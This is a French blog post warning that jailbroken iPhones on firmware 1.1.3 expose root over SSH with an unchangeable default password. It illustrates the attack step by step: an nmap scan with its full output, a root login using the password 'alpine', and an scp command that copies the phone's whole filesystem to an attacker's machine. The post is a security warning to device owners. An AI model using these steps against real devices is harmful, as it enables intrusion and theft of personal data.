En m’amusant un peu avec l’iPhone et l’iPod Touch, j’avais constaté certains courants d’air. A plusieurs reprise sur ce blog ou sur Toonux.org, j’ai succinctement abordé les problèmes de sécurité inhérents à la mobilité, certes, mais là… il faut bien avouer qu’avec un iPhone Jailbreaké, on dipsose d’une splendide passoire numérique.
L’objectif de ce blog n’est vraiment pas dispenser des cours magistraux de sécurité et je n’en ai d’ailleurs pas le niveau. Oui mais voilà, ce que j’ai vu de l’iPhone me choque. Le problème dépasse de loin les flow de Safari qui permettent l’installation de l’installer.app.
Avec les firmwares 1.1.1 et 1.1.2, il était relativement aisé de protéger un minimum vos données personnelles (en clair les 8, 16 ou 32go de données que votre iPhone peut accueillir : mp3 … ouai bof, mais surtout carnet d’adresse, mails … passwords …
Ces terminaux disposent d’un système d’exploitation basé sur un Unix « terreux », pas tout à fait sale mais super loin d’être propre. En standard nous avons donc 2 comptes :
- Un compte root avec lequel on peut faire la pluie et le beau temps
- Un compte mobile beaucoup plus limité.
- Très vite après l’installation de l’installer, je vois apparaître un message qui m’horrifie… on ne peut pas utiliser la commande passwd pour changer le password root de l’iPhone sous peine de voir Springboard redémarrer toutes les 5 secondes ! Comprenez que j’ai sshd activé sur mon terminal et que je ne peux pas changer le password root! J’ai beau ne pas être parano, tout ceci me dérange particulièrement. Pourquoi ? tout simplement parce qu’il suffit que je me connecte sur un réseau wifi pour offrir TOUT ce qui est contenu dans mon téléphone à un petit malin ! Pour la faire simple voilà comment un script kiddy peut peut procéder pour me rooter :
- mon iphone est connecté sur le même réseau wifi qu’un emmerdeur que nous allons appeler Jean-Kevin
- Jean-kevin est un petit malin qui connaît nmap
- pour se connecter il va avoir besoin de mon adresse ip
- un petit ifconfig va lui donner une indication sur la plage ip du routeur dont le serveur dhcp attribue aussi l’ip de mon iphone, si l’ip de ce routeur ressemble à ça 192.168.0.1 il va pouvoir scanner simplement toutes les machines du réseau à la recherche d’une victime
Il lancera par exemple cette commande :
Quicksilver:~ Jean-Kevin$ sudo nmap -sS -v -O 192.168.0.1/24
ce qui lui retournera au moment ou le scanne passera sur l’ip de mon iPhone ceci :
Starting Nmap 4.20 ( http://insecure.org ) at 2008-02-16 23:40 CET
Initiating ARP Ping Scan at 23:40
Scanning 192.168.0.46 [1 port]
Completed ARP Ping Scan at 23:40, 0.15s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:40
Completed Parallel DNS resolution of 1 host. at 23:40, 0.03s elapsed
Initiating SYN Stealth Scan at 23:40
Scanning 192.168.0.46 [1697 ports]
Discovered open port 22/tcp on 192.168.0.46
Increasing send delay for 192.168.0.46 from 0 to 5 due to 173 out of 575 dropped probes since last increase.
Increasing send delay for 192.168.0.46 from 5 to 10 due to 52 out of 172 dropped probes since last increase.
Increasing send delay for 192.168.0.46 from 10 to 20 due to max_successful_tryno increase to 4
Completed SYN Stealth Scan at 23:40, 24.56s elapsed (1697 total ports)
Initiating OS detection (try #1) against 192.168.0.46
Retrying OS detection (try #2) against 192.168.0.46
Retrying OS detection (try #3) against 192.168.0.46
Retrying OS detection (try #4) against 192.168.0.46
Retrying OS detection (try #5) against 192.168.0.46
Host 192.168.0.46 appears to be up ... good.
Interesting ports on 192.168.0.46:
Not shown: 1695 closed ports
PORT STATE SERVICE
22/tcp open ssh
692/tcp filtered unknown
MAC Address: 00:1E:C2:C6:F4:C2 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see http://insecure.org/nmap/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=4.20%D=2/16%OT=22%CT=1%CU=40160%PV=Y%DS=1%G=Y%M=001EC2%TM=47B7666
OS:9%P=i386-apple-darwin9.1.0)SEQ(SP=0%GCD=1%ISR=1B%TI=I%II=I%SS=S%TS=1)SEQ
OS:(SP=0%GCD=1%ISR=1A%TI=I%II=I%SS=S%TS=1)SEQ(SP=0%GCD=1%ISR=1B%TI=I%TS=1)S
OS:EQ(SP=0%GCD=1%ISR=1A%TI=I%II=I%SS=S%TS=1)OPS(O1=M5B4NW0NNT11SLL%O2=M5B4N
OS:W0NNT11SLL%O3=M5B4NW0NNT11%O4=M5B4NW0NNT11SLL%O5=M5B4NW0NNT11SLL%O6=M5B4
OS:NNT11SLL)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFFF)ECN(R=Y%DF=
OS:Y%T=40%W=FFFF%O=M5B4NW0SLL%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q
OS:=)T2(R=Y%DF=Y%T=40%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=N)T4(R=Y%DF=Y%T=40%W
OS:=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=N%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
OS:T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=N%T=40%W=0%S=Z%A=S
OS:%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%TOS=0%IPL=38%UN=0%RIPL=G%RID=G%RIPCK=G
OS:%RUCK=0%RUL=G%RUD=G)IE(R=Y%DFI=S%T=40%TOSI=S%CD=S%SI=S%DLI=S)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=0 (Trivial joke)
IPID Sequence Generation: Incremental
OS detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap finished: 1 IP address (1 host up) scanned in 37.377 seconds
Raw packets sent: 3325 (150.770KB) | Rcvd: 1824 (75.380KB)
… on voit donc ici très clairement qu’un appareil au fingerprint un peu space dont la mac adress trahira vite la nature : sur le réseau wifi se trouve un iPhone dont l’ip est 192.168.0.46 qui dispose du port ssh ouvert !
ce qui nous donne dans la tête de notre Jean-Kevin :
iPhone+ssh open+firmware 1.1.3 sur lequel je ne peux pas changer le pass root qui est « alpine » = une splendide opportunité de briller en société en se faisant passer pour un super hacker. Il ne lui reste plus qu’à porter le coup de grâce :
en lançant l’inévitable :
entrer le password « alpine » au prompt
et hop, le voici connecté en root à mon iphone.
Mais comme Jean-Kevin en plus d’être un branleur est aussi un super lamer, il va vous voler vos données avec un :
Quicksilver:~ Jean-Kevin$scp -r /* [email protected]:/home/mesfilesdeh@X0r
… et voilà que Jean-Kevin vient de copier tout le contenu de votre iPhone sur sa machine !
Encore une fois, vous voilà prévenus, un iPhone Jailbreaké avec un firmware 1.1.3 vous empêchant de modifier votre password root est une véritable catastrophe niveau sécurité, évitez donc de vous connecter à n’importe quel réseau wifi, particulièrement dans les lieux publics. Si vous ne savez pas ce que vous faites .. ne le faites pas. Ne perdez pas de vue que quel que soit la version de votre firmware, ne pas changer votre password root ou celui du compte mobile vous expose à cette vulnérabilité dont certain diront qu’il s’agit d’une fonctionnalité 😉
Pas de panique. Il suffit de désactiver le ssh avant de se connecter sur un réseau inconnu.
Oui enfin sauf que ssh est un peu la seule raison vraiment valable pour moi d’avoir un iPhone, je m’en sert comme terrminal web de poche pour accéder à mes serveurs et éviter de me balader avec un transportable 17″
🙂